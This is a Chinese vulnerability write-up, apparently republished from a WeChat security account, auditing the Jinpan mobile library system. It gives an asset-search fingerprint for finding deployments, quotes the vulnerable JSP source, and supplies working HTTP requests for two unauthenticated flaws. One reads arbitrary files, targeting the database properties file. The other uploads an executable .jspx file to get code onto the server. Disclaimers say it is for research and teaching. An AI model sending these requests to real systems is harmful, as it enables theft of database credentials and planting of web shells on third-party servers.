0x00 前言
app="金盘软件-金盘移动图书馆系统"
0x01 前台任意文件读取
在 /pages/admin/tools/file/download.jsp 中 GET获取参数items 并可取任意文件且无任何限制
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%import="java.io.File"%>
<%import="cn.com.goldlib.util.StringUtil"%>
<%import="cn.com.goldlib.common.CommonConstants"%>
<%import="java.io.BufferedInputStream"%>
<%import="java.io.FileInputStream"%>
<%import="java.util.zip.ZipOutputStream"%>
<%import="java.util.zip.ZipEntry"%>
<%import="static cn.com.goldlib.common.CommonUtils.fileUtil"%>
<%import="java.io.OutputStream"%>
<%import="cn.com.goldlib.sys.service.FileManager"%>
<%import="cn.com.goldlib.framework.util.holder.ApplicationContextHolder"%>
<%!
public static Vector<File> expandFileList(String[] files, boolean inclDirs) {
Vector<File> v = new Vector<File>();
if (files == null)
return v;
files = ((FileManager)ApplicationContextHolder.getBean("fileManager")).filterFilePath(files,new HashSet());
for (int i = 0; i < files.length; i++) {
String filePath = files[i];
if (null == filePath || filePath.trim().equals("")) {
// filePath = CommonConstants.ROOTPATH;
} else {
filePath = StringUtil.parseToPath(CommonConstants.ROOTPATH + "/" + filePath);
}
v.add(new File(filePath));
}
for (int i = 0; i < v.size(); i++) {
File f = (File) v.get(i);
if (f.isDirectory()) {
File[] fs = f.listFiles();
for (int n = 0; n < fs.length; n++)
v.add(fs[n]);
if (!inclDirs) {
v.remove(i);
i--;
}
}
}
return v;
}
%>
<%
String[] filePath = request.getParameterValues("items");
if(filePath == null || filePath.length==0){
return;
}
Vector<File> v = expandFileList(filePath, false);
String splitPath = CommonConstants.ROOTPATH;
if(filePath.length == 1){
if(fileUtil.isFirectory(splitPath + filePath[0])){
response.setContentType("application/zip");
response.setHeader("Content-Disposition","attachment;filename=""+filePath[0].substring(filePath[0].lastIndexOf("/")+1)+".zip"");
}else{
response.setContentType(fileUtil.getExtType(filePath[0].substring(filePath[0].lastIndexOf(".")))+";charset=UTF-8");
response.setCharacterEncoding("UTF-8");
response.setHeader("Content-Disposition", "attachment;filename=""+filePath[0].substring(filePath[0].lastIndexOf("/")+1)+""");
BufferedInputStream br=new BufferedInputStream(new FileInputStream(splitPath + filePath[0]));
int len=0;
byte[] b=new byte[1024];
OutputStream outs=response.getOutputStream();
while((len=br.read(b))>0){
outs.write(b,0,len);
}
outs.close();
br.close();
return;
}
}else{
response.setContentType("application/zip");
response.setHeader("Content-Disposition","attachment;filename="netfolder.zip"");
}
out.clearBuffer();
try {
ZipOutputStream zipout = new ZipOutputStream(response.getOutputStream());
// zipout.setComment("Created by JSP 文件管理器 1.001");
for (int i = 0; i < v.size(); i++) {
File f = v.get(i);
if (f.canRead()) {
if(splitPath.endsWith("/")){
splitPath = splitPath.substring(0,splitPath.length()-1);
}
String path = f.getAbsolutePath();
path = path.replace('\', '/');
for(int j=0;j<filePath.length;j++){
if(path.indexOf((splitPath + filePath[j]))!=-1){
splitPath += filePath[j].substring(0,filePath[j].lastIndexOf("/", filePath[j].length()-2));
break;
}
}
zipout.putNextEntry(new ZipEntry(path.substring(splitPath.length()+1)));
BufferedInputStream fr = new BufferedInputStream(new FileInputStream(f));
int b;
while ((b = fr.read()) != -1)
zipout.write(b);
fr.close();
zipout.closeEntry();
}
}
zipout.finish();
zipout.close();
} catch (Exception e) {
e.printStackTrace();
}
out.flush();
%>
Payload(读取数据库文件):
GET /pages/admin/tools/file/download.jsp?items=/WEB-INF/classes/db/default.properties HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cookie: JSESSIONID=D8C7BD39FAF4DD095FBBB0E87FB017C5
Connection: close
0x02 前台任意文件上传
在 /common/uploadFile/upload.jsp 中定义了文件上传操作
<%
// 上传文件的保存目录
String uploadFolder = request.getParameter("uploadFolder");
if(null == uploadFolder
|| uploadFolder.trim().equals("")){
uploadFolder = "/uploads";
}else if(!uploadFolder.startsWith("/")){
uploadFolder = "/"+uploadFolder;
}
uploadFolder = uploadFolder.replace('\','/');
uploadFolder = uploadFolder.replaceAll("/{2,}","/");
pageContext.setAttribute("uploadFolder",uploadFolder);
// 回调函数
String callBack = request.getParameter("callBack");
if(null == callBack
|| callBack.trim().equals("")){
callBack = "";
}
pageContext.setAttribute("callBack",callBack);
// 是否自动上传
String autoUpload = request.getParameter("autoUpload");
if(null == autoUpload
|| autoUpload.trim().equals("")
|| (!autoUpload.trim().toLowerCase().equals("true")
|| !autoUpload.trim().toLowerCase().equals("false"))){
autoUpload = "true";
}
pageContext.setAttribute("autoUpload",autoUpload);
// 允许上传的最大队列数
String queueLimit = request.getParameter("queueLimit");
if(null == queueLimit
|| queueLimit.trim().equals("")){
queueLimit = "1";
}
pageContext.setAttribute("queueLimit",queueLimit);
// 允许上传的文件大小最大
String sizeLimit = request.getParameter("sizeLimit");
if(null == sizeLimit
|| sizeLimit.trim().equals("")){
sizeLimit = 1024 * 1024 * 100 + "";
}
pageContext.setAttribute("sizeLimit",sizeLimit);
// 允许上传的文件类型
String fileExt = request.getParameter("fileExt");
if(null == fileExt
|| fileExt.trim().equals("")){
fileExt = "*.jpg;*.gif;*.png";
}
pageContext.setAttribute("fileExt",fileExt);
// 是否做数据库保存
String isSave = request.getParameter("isSave");
pageContext.setAttribute("isSave",isSave);
%>
<shiro:user>
<script type="text/javascript">
function show(event, ID, fileObj, response, data){
alert(fileObj.filePath);
}
$(function() {
$('#file_upload').uploadify({
'uploader' : '${ctx}/scripts/uploadify/uploadify.swf',
// 'script' : '${ctx}/common/upload/upload?isSave=${isSave}',
'script' : '${ctx}/common/upload/user?validated=true&isSave=${isSave}',
'cancelImg' : '${ctx}/scripts/uploadify/cancel.png',
'buttonImg' : '${ctx}/scripts/uploadify/selectfiles.jpg',
'folder' : '${uploadFolder}',
<c:if test="${queueLimit != '1'}">
'multi' : true,
</c:if>
'auto' : ${autoUpload},
'fileExt' : '${fileExt}',
'sizeLimit' : ${sizeLimit},
'fileDesc' : '文件类型(${fileExt})',
'queueID' : 'uploadFileList',
<c:if test="${queueLimit != '1'}">
'queueSizeLimit' : ${queueLimit},
</c:if>
'simUploadLimit' : 2,
'removeCompleted': false,
'onComplete' : function(event, ID, fileObj, response, data){
// 获得上传后返回的数据
if(typeof(response).toLowerCase() == 'string'){
response = $.parseJSON(response);
}
//////////////////
// id列表
var ids = response.ids;
if(typeof(ids).toLowerCase() == 'string'){
ids = eval(ids);
}
// 文件路径列表
var filePaths = response.filePaths;
if(typeof(filePaths).toLowerCase() == 'string'){
filePaths = eval(filePaths);
}
// 保存文件名
var fileNames = response.fileNames;
if(typeof(fileNames).toLowerCase() == 'string'){
fileNames = eval(fileNames);
}
// 上传的文件名列表
var uploadFileNames = response.uploadFileNames;
if(typeof(uploadFileNames).toLowerCase() == 'string'){
uploadFileNames = decodeURIComponent(uploadFileNames);
uploadFileNames = eval(uploadFileNames);
}
response.ids = ids;
response.filePaths = filePaths;
response.fileNames = fileNames;
response.uploadFileNames = uploadFileNames;
/////////////
var callBack = "${callBack}";
if(callBack != ""){
eval(callBack);
}
},
'onSelectOnce' : function(event,data) {
$('#status-message').text(data.filesSelected + ' 文件添加至任务列表。');
},
'onAllComplete' : function(event,data) {
window.parent.optionShow({url:"#uploadphotoimgdiv",title:"上传照片",width:700,onclose:function(){window.parent.location.reload();}});
},
'onQueueFull' : function(event,data){
alert("选择的文件大于${queueLimit}个。多选的文件将不会上传。");
}
});
});
</script>
</shiro:user>
So 咱们构造Payload上传(该目录下jsp无法解析 但jspx可以):
POST /common/upload/upload HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=399e563f0389566bd40fd4d6409a67dd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cookie: JSESSIONID=D8C7BD39FAF4DD095FBBB0E87FB017C5
Connection: close
Content-Length: 179
--399e563f0389566bd40fd4d6409a67dd
Content-Disposition: form-data; name="file"; filename="aaaaaa.jspx"
<% out.println("Do You Want?"); %>
--399e563f0389566bd40fd4d6409a67dd--
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!
原文始发于微信公众号(星悦安全):某盘移动图书馆系统审计
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论